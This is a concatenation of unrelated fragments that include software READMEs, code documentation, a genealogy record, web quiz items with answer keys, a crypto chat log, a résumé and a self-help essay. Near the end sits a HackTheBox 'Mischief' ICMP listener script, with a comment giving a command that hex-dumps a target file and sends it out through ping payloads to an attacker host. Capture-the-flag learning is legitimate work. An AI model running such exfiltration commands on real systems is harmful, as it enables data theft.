$template{name="sample-readme-html-header" title="Word Count demo"}$
What does the sample do?
This sample performs a word count on a full or partial Wikipedia database. It illustrates how JPPF can be used to process large datasets in a very efficient way.
The actual processing is vaguely similar to a mpa/reduce process, which is not surprising given what we are trying to accomplish.
The actual processing is as follows:
- The client application reads the wikipedia file line by line and generates articles. Each article is delimited by the XML tags <page> and </page>.
Furthermore, we only look for the text of each article (we ignore metadata), so within each <page> we only keep the part delimited by <text ...> and </text>.
- Full articles are then grouped into JPPF tasks, and then tasks into JPPF jobs. This results in a constant stream of jobs until all articles are read.
- Each generated job is offered to a submit queue. This queue has a limited capacity, to avoid an explosion of the memory footprint in case jobs are created faster than they are processed:
when the capacity is reached, the next job submission - and reading of articles - is blocked until a slot becomes available.
- Once a job is submitted, it will be processed by one or more nodes, depending on its number of tasks and the load-balancing settings of the server.
Each task in the set processed by the node will perform the word count of all the articles it contains and store the counts into a simple map of words to corresponding count:
basically a Map<String, Long>. This is the equivalent of a 'map' step in a map/reduce strategy.
- To produce results that make sense, there are constraints on what is considered a word: the characters must belong to a predefined set (in this demo ['a'...'z', 'A'...'Z', '-'], we don't count numbers as words),
and each word must be part of a predefined dictionary. In this demo we use a dictionary based on Hunspell en_US v7.1 , which can be found from this page.
Additionally, the redirect articles are excluded from the word counts, but counted nonetheless, for statistics purposes.
- Once a node has processed a set of tasks, it will perform a first 'reduce' step by simply aggregating therir results. The first task in the set will hold the aggregated results, while ther other tasks will have none.
- When the client application receives results from a node, it will aggregate them into its own global word count map: this is the second 'reduce' step.
- Once all results are received, the application sorts them by descending count value, then ascending alphabetical order of the words within each count grouping, and finally format and print these sorted results to a file.
How do I run it?
Before running this sample, you need to install a JPPF server and at least one node.
For information on how to set up a node and server, please refer to the JPPF documentation.
Once you have installed a server and node, perform the following steps:
- Open a command prompt in JPPF-x.y-samples-pack/WordCount
- Build the sample's node add-on: type "ant jar". This will create a file named WordCountNodeListener.jar.
This add-on is a node life cycle listener which accomplishes 2 goals:
load the dictionary when the node starts (in the nodeStarting() notification) and aggregate the results of tasks that have just been processed (in the jobEnding() notification)
- Copy WordCountNodeListener.jar in the "lib" folder of the JPPF driver installation, to add it to the driver's classpath. The nodes will download the node listener code from the server.
- Start the driver
- Start one or more node(s). Each node should output a "loaded dictionary: 46986 entries" message, indicating that the node add-on is working properly
- When the server and nodes are started, type "run.bat" on Windows or "./run.sh" on Linux/Unix to start the word count demo. The results will be written to a file Named "WordCountResult.txt"
Tuning and other considerations
I have additional questions and comments, where can I go?
There are 2 privileged places you can go to:
$template{name="sample-readme-html-footer"}$


"""Enum containing acceptable COSE encoded algorithms
Enums:
PUBLIC_KEY_ALG
"""
"""
© Copyright 2020-2021 University of Surrey
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
 IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
"""
from enum import Enum, unique
[docs]@unique
class PUBLIC_KEY_ALG(Enum):
"""COSE Public Key algorithm values
"""
RS512 = -259 # RSASSA-PKCS1-v1_5 using SHA-512 IESG [RFC8812] No
RS384 = -258 # RSASSA-PKCS1-v1_5 using SHA-384 IESG [RFC8812] No
RS256 = -257 # RSASSA-PKCS1-v1_5 using SHA-256 IESG [RFC8812] No
HSS_LMS = -46
RSAES_OAEP_with_SHA_512 = -42
RSAES_OAEP_with_SHA_256 = -41
RSAES_OAEP_with_RFC_8017_default_parameters = -40
PS512 = -39
PS384 = -38
PS256 = -37
ES512 = -36
ES384 = -35
ECDH_SS_A256KW = -34
ECDH_SS_A192KW = -33
ECDH_SS_A128KW = -32
ECDH_ES_A256KW = -31
ECDH_ES_A192KW = -30
ECDH_ES_A128KW = -29
ECDH_SS_HKDF_512 = -28
ECDH_SS_HKDF_256 = -27
ECDH_ES_HKDF_512 = -26
ECDH_ES_HKDF_256 = -25
direct_HKDF_AES_256 = -13
direct_HKDF_AES_128 = -12
direct_HKDF_SHA_512 = -11
direct_HKDF_SHA_256 = -10
EdDSA = -8 # EdDSA [RFC8152] Yes
ES256 = -7 # ECDSA w/ SHA-256 [RFC8152] Yes
direct = -6 # Direct use of CEK [RFC8152] Yes
A256KW = -5 # AES Key Wrap w/ 256-bit key [RFC8152] Yes
A192KW = -4 # AES Key Wrap w/ 192-bit key [RFC8152] Yes
A128KW = -3 # AES Key Wrap w/ 128-bit key [RFC8152] Yes
A128GCM = 1 # AES-GCM mode w/ 128-bit key, 128-bit tag [RFC8152] Yes
A192GCM = 2 # AES-GCM mode w/ 192-bit key, 128-bit tag [RFC8152] Yes
A256GCM = 3 # AES-GCM mode w/ 256-bit key, 128-bit tag [RFC8152] Yes
HMAC_256_64 = 4 # HMAC w/ SHA-256 truncated to 64 bits [RFC8152] Yes
HMAC_256_256 = 5 # HMAC w/ SHA-256 [RFC8152] Yes
HMAC_384_384 = 6 # HMAC w/ SHA-384 [RFC8152] Yes
HMAC_512_512 = 7 # HMAC w/ SHA-512 [RFC8152] Yes
# AES-CCM mode 128-bit key, 64-bit tag, 13-byte nonce [RFC8152] Yes
AES_CCM_16_64_128 = 10
# AES-CCM mode 256-bit key, 64-bit tag, 13-byte nonce [RFC8152] Yes
AES_CCM_16_64_256 = 11
# AES_CCM mode 128_bit key, 64_bit tag, 7_byte nonce [RFC8152] Yes
AES_CCM_64_64_128 = 12
# AES_CCM mode 256_bit key, 64_bit tag, 7_byte nonce [RFC8152] Yes
AES_CCM_64_64_256 = 13
AES_MAC_128_64 = 14 # AES_MAC 128_bit key, 64_bit tag [RFC8152] Yes
AES_MAC_256_64 = 15 # AES_MAC 256_bit key, 64_bit tag [RFC8152] Yes
# ChaCha20/Poly1305 w/ 256_bit key, 128_bit tag [RFC8152] Yes
ChaCha20_Poly1305 = 24
AES_MAC_128_128 = 25 # AES_MAC 128_bit key, 128_bit tag [RFC8152] Yes
AES_MAC_256_128 = 26 # AES_MAC 256_bit key, 128_bit tag [RFC8152] Yes
# AES_CCM mode 128_bit key, 128_bit tag, 13_byte nonce [RFC8152] Yes
AES_CCM_16_128_128 = 30
# AES_CCM mode 256_bit key, 128_bit tag, 13_byte nonce [RFC8152] Yes
AES_CCM_16_128_256 = 31
# AES_CCM mode 128_bit key, 128_bit tag, 7_byte nonce [RFC8152] Yes
AES_CCM_64_128_128 = 32
# AES_CCM mode 256_bit key, 128_bit tag, 7_byte nonce [RFC8152] Yes
AES_CCM_64_128_256 = 33


CSS exists to style your HTML — to present your content. The language of Cascading Style Sheets is somewhat different to HTML but it remains simple and straightforward.
Here another paragraph which gets affected by CSS definition. However, Internal CSS declaration can affect only one web page which it is declarated within!


Here they are! ["About branches", "Setting the default branch", "Viewing branches in your repository", "Creating and deleting branches within your repository"]


Ancestry says - James Henry Sims was Born 1816 in Hackney, Middlesex, England.
James Henry "Hornblower" Sims had been indicted for receiving stolen shoes at The Old Bailey on the 6th Feb. 1836. He
was found guilty & sentenced to Transportation for 14yrs. In a 2nd indictment regarding more shoes & boots he & his sister were found to be not guilty, but his mother aged 47 was found guilty with the judgment respited (pending). At the time of the court case James was living with his mother & sister at No 3 Sidney St, Whitechapel, London.
Henry James Sims alis "Hornblower" Sims arrived aboard the convict transport ship "Moffatt" on 30 Aug, 1836 & obtained a Ticket of Leave #43/2602 at Port Stephens, NSW. James was 20 when he arrived in the Colony, he could read & write, was Protestant, single & his native place was London where he had been a Warehouseman. He had stolen goods & was tried & sentenced to 14yrs. He had no previous convictions. James was 5'5 1/4" tall, had sallow complection, brown hair & chesnut eyes.
Henry Sims married Maria Lloyd on 15 Dec, 1847 in a CofE service at West Maitland (Morpeth?)V1847 503 32C.
On 31 Dec, 1848 James was noted as a painter, then servant, but by Dec 1854 he was a porter. For 1867 James worked as a Postman 1st in West Maitland then perhaps later in Sydney.
SMH - Death SIMS - Jan.16, 1900, at the residence of his son-in-law, George F. Noad, 361/2 Union St, Pyrmont. JAMES HORNBLOWER SIMS, for many years in the General Post Office, age 84yrs. At Rest.
SMH - FUNERAL - The Friends of Mr & Mrs George F. Noad are kindly invited to attend the Funeral of their beloved Father, James H. Sims, which will move from their residence, # 36 1/2 Union St, Pyrmont, this Wednesday afternoon, at half-past 1 o'clock, for Wesleyan Cemetery, Necropolis Rookwood. He was buried in Grave 998-1002, Sec 3a, Row 12 in Old Wesleyan (Methodist) Section of Rookwood Cemetery. The minister at the Wesleyan ceremony was Rev John K.Turner.
James had had chronic heart desease for years & had suffered badley for a week prior, dieing of exhauston. The doctor was Dr.W McMurray, who saw him last, 2 days before. His name is under his wife Maria Sims, as "James Hornblower."


This class implements a rudimentary caching scheme for language model lookup.
Public Members
-
Creates an empty cache
-
'max_entries_' is the maximum number of entries in the cache
-
'lm_order' is the order of the language model n-gram (ie 3
-
for a trigram LM)
-
Adds an entry to the cache.
-
entry is not already in the cache, the oldest entry is
-
overwritten
-
'order' is the order of the entry, which can be <= the lm_order
-
used during cache creation
-
'words' are the words in the n-gram.
-
for a 4-gram entry
-
'prob' is the log probability of the n-gram as calculated by the
-
Looks for the n-gram in 'words' within the cache and returns
Documentation
This class implements a rudimentary caching scheme for language
model lookup. It basically consists of a (small) list of the most
recently accessed language model entries. A cache lookup entails
a linear search of the list of entries. The oldest entry is
overwritten when the cache is full and a new entry is added.
- Creates an empty cache
- Creates an empty cache
- 'max_entries_' is the maximum number of entries in the cache
- 'max_entries_' is the maximum number of entries in the cache
- 'lm_order' is the order of the language model n-gram (ie 3
- 'lm_order' is the order of the language model n-gram (ie 3
- for a trigram LM)
- for a trigram LM)
- Adds an entry to the cache.
- Adds an entry to the cache. If the cache is full and the new
- entry is not already in the cache, the oldest entry is
- entry is not already in the cache, the oldest entry is
- overwritten
- overwritten
- 'order' is the order of the entry, which can be <= the lm_order
- 'order' is the order of the entry, which can be <= the lm_order
- used during cache creation
- used during cache creation
- 'words' are the words in the n-gram.
- 'words' are the words in the n-gram. The order is W3 W2 W1 W4
- for a 4-gram entry
- for a 4-gram entry
- 'prob' is the log probability of the n-gram as calculated by the
- 'prob' is the log probability of the n-gram as calculated by the
- Looks for the n-gram in 'words' within the cache and returns
- Looks for the n-gram in 'words' within the cache and returns
- This class has no child classes.
- Author:
- Darren Moore<EMAIL_ADDRESS>Alphabetic index HTML hierarchy of classes or Java
This page was generated with the help of DOC++.


Spooky Maths
ABOUT
ACTIVITIES
SURVEY
ARTICLE
LESSON
HOME
Some dude
Is a dude.
Some other dude
Is also a dude.
We do things.


this is a comment and would be removed at last rendering result.
this is a comment and would be removed at last rendering result.
OK


1, Attributes provided by tag of HTML are source file, width/height and
A.
B.
C.
D.
A
2, In order to define a style for special type of elements, attribute to be added is known to be
A.
B.
C.
D.
A
3, In JavaScript regExp are used with methods of
A. String
B. Number
C. Comparison
D. Type conversion
A
4, Web storage object in which data is lost when browser tab is closed
A. window.sessionStorage
B. window.webStorage
C. window.localsessionStorage
D. window.localStorage
A
5，JS string method indexOf() is same as of
A. LastIndexOf()
B. PointIndexOf()
C. search()
D. find()
C
6, HTML web storage object that stores data with no expiration date is known as
A. window.webStorage
B. window.localStorage
C. window.sessionStorage
D. window.localsessionStorage
B
7，A HTML tag that specifies an inline CSS style for an element is called
A. Design
B. Style
C. Modify
D. Define
B
8，_blank value of TARGET attribute opens linked document in
A. New window
B. Current Tab
C. Parent frame
D. Full body of window
A
9，Syntax to change font type of a heading in HTML is
A. < h1 style='font-type:verdana;'>
B. < h1 style="font-family:verdana;">
C.


Random Song Picker
We are happy to pick a song for you!
---
---
---
Listen on Spotify
New random song


A sub-scene of Bikini Bottom
For my Final Project, I made a scene of Bikini Bottom. My scene does not include the entire town, but rather some of the key components of the town. Components of Bikini Bottom to be included:
- The main neighborhood, which includes:
- Spongebob's house
- Squidward's house
- Patrick's house
- The Krusty Krab
- Jellyfish Fields
My project also includes characters from the show placed among the scene! Characters included:
- Spongebob Squarepants
- Patrick Star
- Squidward Tentacles
- Jellyfish
The unique thing about my project is that I did not use any objects or shapes except for:
- Sphere
- Cube
- Cylinder
- Cone
- Billboard
Technical Implications of this project:
- Hierarchical Modeling
- Diffuse, Ambient, and Specular Lighting
- Textures
- Skybox
- Animated Billboards
- Height Mapping
- Instance Rendering
- Frame Buffers
Features and Instructions
The main feature of the entire scene is that by pressing 'O', the scene will begin to have an underwater effect, or go back to normal if underwater effect is occurring.
Main Neighborhood
The only feature of the neighborhood is that by pressing 'P', Patrick will come out of his rock, or he will go back in if already out.
Jellyfish Fields
The only feature of Jellyfish Fields is the animated billboards causing the Jellyfish to have a 'swimming' effect.
Controls
- W - Move Forward
- S - Move Backward
- A - Turn Left
- D - Turn Right
- O - Toggle Underwater Effect
- P - Toggle Patrick Animation


Arsenal appoint Ljunberg interim manager
by The Eagle OnlineArsenal have confirmed a temporary successor to Unai Emery for Sunday’s Premier League clash at Norwich City.
The Gunners have pulled the trigger on Emery amid their worst run of results since 1992.
Thursday’s Europa League defeat to Eintracht Frankfurt was the final nail in Emery’s coffin.
Arsenal legend Freddie Ljungberg will take the reins for the time being.
He was Emery’s assistant first-team coach before the axing.
A statement from Arsenal read: “The decision has been taken due to results and performances not being at the level required.
“We have asked Freddie Ljungberg to take responsibility for the first team as interim head coach. We have full confidence in Freddie to take us forward.
“The search for a new head coach is underway and we will make a further announcement when that process is complete.”
Previous Post
Guardiola inducted into LMA Hall of Fame
Next Post
New Media as future of the newsroom: Myth or reality?, by Edward Dickson


Mr Whale is tired of your unwillingness to sell into his buywall at 18k satoshi and moved it up to 20k and still hungry for more... Big things happening for the following months and someone did the math. @KomodoPlatform $KMD
siu - Chainmakers03-Sep-18 05:27 PM
I do know some whales are starting to take a look at kmd
pinkolin03-Sep-18 05:34 PM
I have Komodo in ledger and i dont claim interest for few months
Do you know where is ETA for interest change?
Cryptoon03-Sep-18 05:35 PM
Update is only next week, so if you claim now you get full intrest
This video explains how to claim reward from Ledger hardware wallet in a easy way using Agama. Please remember not to use your Ledger device to send funds if...
In case you need it.
pinkolin03-Sep-18 05:37 PM
And you need now claim every month?
Pain.
Cryptoon03-Sep-18 05:37 PM
Yes, but Chainzilla @PTYX is working on a new wallet with ledger integration!
You can join their discord and follow progress here
K%MD03-Sep-18 05:43 PM
Whales please buy 140k kmd wall
Hollowman900003-Sep-18 05:54 PM
Patience
jorian03-Sep-18 06:09 PM
well at least we have a higher high
Reel Em In03-Sep-18 06:11 PM
macd trying to cross over on the weekly for the 1st time in forever!!
Hollowman900003-Sep-18 06:13 PM
Whatever that guy said!
3
Exciting
Yassin03-Sep-18 06:22 PM
Hold!!
1
mln_kotaks [XBY CRAB]03-Sep-18 06:24 PM
Why is Holo pumping?
Gained 50 positions in the top100 during the previous weeks I believe
pinkolin03-Sep-18 06:34 PM
Ledger claimed
Hell
But 1000 KMD is fine
Tek03-Sep-18 07:12 PM
there's a 80btc buy order for KMD on Binance
at 20k
at 20k
i think the bitcoin silkroad whale is buying into XMR and KMD
1
Hollowman900003-Sep-18 07:35 PM
There is a silkroad whale?
Bittersweet03-Sep-18 07:45 PM
Kmd back in top 50ish
3
2
5
ryman11203-Sep-18 07:55 PM
After working in 95 degree heat on a holiday its nice to see KMD price movement. Ill have a beer to that
Perhaps next year I won't have to work like a slave lol
[TPUX] Djith Wattignies03-Sep-18 07:59 PM
Good little pump going on..
Tek03-Sep-18 08:03 PM
Yeah.
catalyst is a huge whale buy order
tfw can't post pictures
dxer66603-Sep-18 08:12 PM
bittrex need 40 confirm for deposit?
Yassin03-Sep-18 08:18 PM
i think!!
BlackJesus03-Sep-18 08:25 PM
I'm still a bear
We'll just rest higher when btc hits 3k
Tek03-Sep-18 08:29 PM
huge whale has removed his 80btc buy order
but I can see him still buying
with 8btc orders
everyone is front running the whale lol
@Hollowman9000 yeah there's a slik road related btc wallet with 110k bitcoin in it that has recently started to show activity, it hadn't been touched since, 2014 or so.
he's splitting up the BTC and sending amounts to Binance and Bitfinex
obviously to buy XMR and other Privacy focussed coins


Feature(value: Double, name: String)
A feature of some case in a data set.
A feature is essentially a variable to a GP program.
value - The value of this feature.
value
name - A name for this feature.
name


Terms and conditions.
Request for delivery. Delivery includes R25 for long distance customers and get your parcel from your nearest Post Office
Damaged products can be returned within 1 week of purchase.
Previous page


Posted by Start Bootstrap on September 24, 2019
Posted by Start Bootstrap on September 18, 2019
Posted by Start Bootstrap on August 24, 2019
Posted by Start Bootstrap on July 8, 2019
Posted by User on September 24, 2019


Spread
Get things done.
Spread is a fresh new way to keep track of all the tasks you need to accomplish in a day and my first app in the App Store. Create task - get a glance - and mark it complete! Your day has never been more efficient.
*Update: This app has been rewritten and republished in 2020 with Swift 5 and Core Data for best performance. New support includes Dark mode and UICollectionViewDiffableDataSource
The idea of my app “Spread” originates form my wish for a extremely simple, fast and functional to-do list app. There are tons of great to-do apps on the market but they mostly focus on the structure and rigidity of one’s schedule. While those apps can get things organized, they often require many settings and easily become complicated to users. That’s why I set out to create a spontaneous, rapid, and fun experience that is almost like posting sticky notes on iOS.
I used UICollectionView, UICollectionViewFlowLayout, along with CAGradientLayer to create a beautiful two column layout with each section representing a day of work. Creating a task is super easy: tap on the big add button or 3D touch on the home screen icon. Each cell represents a task, and the content of the task is displayed on top of the cell. The color selection provides an intuitive way of tagging. A user can also “peek and pop” into a task to see detail, set reminder, or delete.
Marking a task as complete is fun and satisfying: a UILongPressGestureRecognizer is used to detect long press on a cell, trigger CASpringAnimation in the size of cells, and eventually shrink the cell to quarter size and draw a check mark with matched color.
Go Back


I am a full-stack developer, with my experience ranging from Micro Services to the good old Monolithic applications. I have successfully used Java, JavaScript, Python & Shell Scripting throughout the 8+ years of my career, with an intent to learn something new each day.
Client Projects:
Client: Citi Bank (Jul 2017 – Present)
Project: Thank You & Global Rewards
Domain: E-Commerce/Loyalty
Role: Java Developer
Description: This is a web application, which is accessible through the Citi Bank website. It allows customers to shop various products using their loyalty points. There are numerous merchants, which offer their products through the website.
Responsibilities:
Technical Environment: Java 1.8, Spring MVC, Spring Boot, Spring Core, Spring Rest, Spring Test, Spring Security, Spring Web Services, Hibernate, Ehcache, Swagger, Git, Gerrit, Tomcat 8, Selenium, Angular 5, Bootstrap 4, npm, Angular CLI, TypeScript
Client Projects
Client: Verizon Telematics, Atlanta, GA (July 2016 – July 2017)
Project: OSS Reboot Microservices
Domain: IOT
Role: Java Developer
Description: This is a project from the scratch, where we are migrating Verizon Telematics OSS services from SOA BPEL to Microservices. We are using Spring Clould (Netflix) Eureka, Spring Boot, Spring Rest, Apache camel, Kafka, Cassandra, Docker, Git etc. Our team consists of 10 developers. I have created few microservices from the scratch and deployed it on docker. I have also created Jenkins jobs for the same. In some services, I have read messages from the Kafka topic and called some REST services, while writing the data in the Cassandra database. In some, I have gotten the JSON message through REST service and called some SOAP services, while writing the data in the Cassandra database. This project is still ongoing.
Responsibilities:
Technical Environment: Java 1.8, Spring Cloud Netflix, Spring Boot, Spring Core, Spring Rest, Spring Test, Eureka, Kafka, Datastax Cassandra, Redis, Docker, Apache Camel, Swagger, Git, Ansible, Apache Mesos, Marathon, Docker Swarm
Client: Verizon Telematics, Atlanta, GA (Apr 2016 – July 2016)
Project: Order Fallout Dashboard
Domain: IOT
Role: Java Developer
Description: This is a dashboard application which I created from the scratch. In Verizon telematics, they get orders from customers and an order passes through many systems/applications; so they wanted to track success/failure of each order end to end and retry them if there is any failure. We had only 2 people in our team. I have created this application from the scratch using Spring Boot, Apache Camel, Spring and Angular JS. We deployed it on Tomcat server and production support team uses this tool. I provide after deployment support also for this tool.
Responsibilities:
Technical Environment: Java 1.8, J2EE, Angular js, Restful, Spring Boot, Spring, Apache Camel, Oracle, Couchbase, Jquery, Bootstrap
Client Projects:
Client: AT&T, Alpharetta, GA (Sept 2012 – Apr 2016)
Project: NorthStar
Domain: Telecom
Role: Java Development/Support
Description: This was a web application, through which AT&T customers could order a phone or a plan or a bundle of services. We had 6 people in our team. I have worked on many enhancements and new requirements from the scratch. I have created many JSP pages/views, action classes and wired them together using Struts2 framework. The application used to run on Weblogic and we had Apache as webservers.
Responsibilities:
Technical Environment: Java 1.7, JSP, Servlet, Oracle 11g, Spring, Tomcat, Eclipse IDE 3.5.1, XML, XSTL, RESTful, Webservice, Maven
Client: AT&T, Alpharetta, GA (Oct 2009 – Sept 2012)
Project: CNM
Domain: Telecom
Role: Java Development/Support
Description: This was a middleware application and it used to send emails, sms, ao & postal mails to AT&T customers. We had 8 people in our team. I have worked on many enhancements and new requirements from the scratch. I have done requirement analysis, written the code, helped the testers in testing it thoroughly, helped in deployment and helped in after deployment support also.
Just to provide an example, I have written a multithreaded batch process, which used to read a file containing 300-400K records and store the data in the Oracle database and send out email/sms to AT&T customers. Also, I have written a Message Driven Bean which would pick transactions from the Weblogic JMS queue and process those transactions. These are just two random examples to give an idea of the work.
Responsibilities:
Technical Environment: Java 1.6, J2EE, Web Services, Hibernate, XML, JavaScript, Weblogic and Oracle
Percentage: 77.8%
Percentage: 82.4%
Percentage: 79.8%
TECHNICAL SUMMARY:
|
Application Servers |
Weblogic, Apache Tomcat, Jboss, Wildfly |
|
Operating Systems |
Unix(Solaris/AIX) , Linux, Win NT/2000/7/XP |
|
Technologies |
J2EE, Core Java, JDBC, JNDI, EJB 2.x & 3.x, Struts2, Spring Core, Spring MVC, Spring DAO, Spring AOP, Hibernate, JPA, JAX-WS (SOAP), JAX-RS (Jersey), Servlet, JSP, JSTL, JavaScript, Angular JS, jQuery, AJAX, HTML, CSS, XML, JSON, JMS, JAXB, JAXP, Java Mail API, log4j, Multi-Threading, Networking, Apache Camel, Kafka, Redis, Spring Cloud Netflix, Eureka, Docker, Docker Swarm, Swagger, Spring Test, Junit, Mockito, Ansible, Spring Boot, JMeter, Selenium, npm, Bootstrap CSS, TypeScript |
|
Framework |
Struts2, Spring, Hibernate |
|
Languages |
Java (1.6, 1.7, 1.8), JavaScript, C, C++ |
|
Scripting Languages |
JavaScript, Shell Scripting |
|
Markup Languages |
HTML, XML |
|
Databases |
Oracle, SQL server, Couchbase, Cassandra |
|
Query Language |
SQL, PL/SQL, N1QL, CQL |
|
Build & Design Tools |
UML, Maven, Ant, Docker, Jenkins |
|
Design Patterns |
MVC, DAO, Singleton, Factory, Abstract Factory, Façade, Builder etc |
|
Monitoring Tools |
Splunk, Dynatrace, Wily Introscope, Mercury BAC |
|
Other Tools |
SVN, SQL*Plus, SQL Developer, Putty, WinSCP, SecureCRT, SQL*Loader, BMC Remedy User, BMC Patrol, Quality Center, Connect Direct, Datastax, GIT, Jira, Solr, Angular CLI |
|
Protocols |
TCP/IP, UDP, Telnet, DNS, FTP, SMTP, SOAP, POP and HTTP |
Apart from being a Java developer, I enjoy a lot of my time being outdoors. In the summer, I love to go on hiking trails and swimming holes. During the winter, I enjoy working out in the gym.
When forced indoors, I watch movies and television shows, and I spend a large amount of my free time exploring the latest technology advancements in the IT world.


Our goal is to close the technical talent gap worldwide.
Through our experience in both the technology and social development fields, we see social organizations lacking in technical talent that is so readily accessible in other fields. CodeCreate is our answer to this. We do this in a three prong approach: a fellowship and data consultancy that connects social enterprsies with CodeCreate "fellows" who go through our application process, DataMeasure, a database to connect social enterprises with volunteers, and a social return on investment initiative. We get rid of the barriers such as language and technical barriers as the middleman in the process for international social enterprises.


{{/*
Add a picture of yourself or a logo of the company here.
*/}}
{{/*
Remove or update elements of this section, as you prefer. You can also
group the icons below with:
(icons)
to force a group of images to stay on a single line. It's useful
especially if you keep 4 icons, as otherwise wrapping on phones will
likely give a line of 3 icons and a second line with 1 icon, which looks
ugly.
*/}}
{{/*
This section is automatically generated from all files in content/page/.
The static pages are ordered by reversed date. They should use year 1,
month 1 and only change the day so the date is never showed anywhere.
*/}}
{{ range (.Site.Sections.page).Pages.ByDate.Reverse }}
{{ .Render "list-item" }}
{{ end }}
{{/*
This section is automatically generated from all files in content/post/.
The blog posts are ordered by reverse date.
*/}}
{{ range first 10 (.Site.Sections.post).Pages.ByDate.Reverse }}
{{ .Render "list-item" }}
{{ end }}


Happiness is like a string which ties us to that which we believe is our happiness.
We, humans, have many things which our happiness is dependent upon whether it would be our wealth, health, or our love ones. Let’s say for example that if you tie your happiness with being rich and accepted, then as long as you are not rich and accepted you can not be happy. Similarly, if you rest your happiness on your promotion then the promotion becomes the happiness which you have put outside of yourself.
"The person who seeks all their applause from outside has their happiness in another's keeping ." - Dale Carnegie
Nowadays, the society only encourages us to put our happiness outside of ourselves. The media is telling us that for one to be happy one needs to have a new iPhone, a big house, a good job, and a beautiful spouse, a degree from Harvard and on and on. Imagine ourselves being tied to millions of these strings which we come to know as “happiness”. What we soon realise is that “happiness” starts to become a spider webs in which we are the preys. Each “happiness” is pulling us left and right to the point that it becomes impossible to obtain any happiness or freedom in life.
So What Do We Do?
How do we keep our happiness with us? Here are some interesting concepts to contemplate and chew on which will help you find True Happiness in this chaotic world.
1. Don't Let Anything Defines Your Self-Worth.
The worst thing you can do for yourself is to let money defines your self-worth. And the worst thing you can do to others is to define others' self-worth through money.
Nothing can define your self-worth unless you let it. However, one way we, humans, externalize our happiness is to let something else defines our self-worth. This is very common in our materialistic society where often times we let material–like cars, money, cloth, or house–tells us our self-worth. If we let material defines our self-worth then material becomes our happiness. The more material or wealth we have the happier we becomes and inversely the less material or wealth we have the more unhappy we become. So by letting money defines ourselves our happiness becomes dependent to money.
The happiest man on earth does not rest his “happiness” on anything. And for that reason, he cannot not be happy. He does not need to be “rich” to be happy. He does not need to be “smart” to be happy. He does not need other’s compliment or affection to be happy. He is already happiness as is. There is no happiness which he has externalized.
Plus, material or outer wealth has nothing to do with ourselves self-worth from the very start. When we were young materialism does not affect our world much. We wear whatever we want. We be whoever we want to be without feeling superior or inferior to anyone.
Whatever we come to value we also judge.
When we let money defines our self-worth, we, in the same way, judge others through money. When how much money one has can define a person, there is naturally someone who is worse, or the same as the others. When such valuation of our humanity is as such. This valuation becomes the root of discrimination, prejudice, jealousy, pride and arrogant. Hence, one should be very careful about what one values and how far one takes it.
2. Good Or Bad Is A Matter Of Human's Perspective
Good or bad, rich or poor, beautiful or ugly, these dualities are man-made. In God's eyes there is no such thing as good or bad. For Him, everything is just is.
Whether or not we have externalized our happiness, the value we perceive about ourselves–whether we believe we are rich or poor, beautiful or ugly, successful or unsuccessful, young or old, worthy or worthless–is only a matter of how and what we compare ourselves to. If you compare yourself to someone who are less fortunate than you might be “rich.”  So we are both “rich” and “poor” and at the same time we are neither. Positivity or negativity is a matter of perspective. In the realm of the ultimate reality, there is no one who is better or worse. We are just who we are–incomparably different from one another.
3. Question Your Happiness
A happy life must always be simple no matter how complicate our lives have become.
Most people rarely question their own happiness. But in order to maintain a happy life, it is necessary to regularly check up on what we called “happiness.”
As a practice, I suggest you to regularly review your life. I personally have a habit of writing a journal every night before going to bed to see what is bothering my mind. List them all out, question this list of what you called “happiness” then sort only ones that matter most to you while eliminating others which are not. You will easily find many things which you desire yet they are unnecessary towards life and are, in some ways, even weighting you down from achieving what really matters. Is it all that important to be “successful” in eyes of the others? Is being rich the answer to life? Is it worth it to trade your inner happiness for an outer one? Is my family comes first before my work? Slowly find out what matters to you most. Cut out any unnecessary wants. Eventually your life will feel lighter as you let go of those extraneous ties of “happiness.”
Knowing where your happiness truly belongs is a skill one which can be improved by learning to quickly identify where you have misplaced your happiness. This is what mindfulness is for. (Click here to learn more about the practice of True Happiness.) And once you can see that these ties of “happiness” have been causing you more pain than happiness then perhaps it is time to let go. As a rule of thumb, the less ties of “happiness” we have the easier for us to find happiness in life.
What To Take Away
Happiness is a delicate science. It is intriguing how sometimes even the things in which we believe will bring us “happiness” can end up causing us more unhappiness than happiness. Who would have thought that the way to be happy is less about pursuing it than questioning it? Happiness should never be ahead of us. It should be with us even though we are pursuing something ahead of us. Happiness is like a fire. And it is advisable that one be very careful with what you believe to be “happiness”. Question it. Simplify it. Deconstruction it. And what you will find is that there is nothing you need more to make you happy since our heart is by nature already happy.
Posted with : Dealing With Unhappiness


#This was Ippsec's script for HTB Mischief
#The purpose is to read data from ICMP packets
#
#Command Execution on target, send data via ICMP with:
# xxd -p -c 4 /file/to/read | while read line; do ping -c 1 -p $line <LHOST>; done
from scapy.all import *
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 8:
data = pkt[ICMP].load[-4:]
print(f'{data.decode("utf-8")}', flush=True, end='')
sniff(iface="tun0", prn=process_packet)


This class allows you to retrieve static items. More...
Public Member Functions | |
| ListService (string url, string login, string password) | |
| Constructor. More... | |
| ListService (string login, string password) | |
| Constructor with default API url. More... | |
| Dictionary< string, Country > | GetCountries () |
| This method retrieves all managed countries. More... | |
| NumberInfos | GetNumberInfos (string number) |
| This method retrieves informations on a specific phone number. More... | |
| Dictionary< int, Timezone > | GetTimezones () |
| This method retrieves all managed timezones. More... | |
| Public Member Functions inherited from ThecallrApi.Services.Client.ClientBaseService | |
| ClientBaseService (string url, string login, string password) | |
| Constructor. More... | |
| ClientBaseService (string login, string password) | |
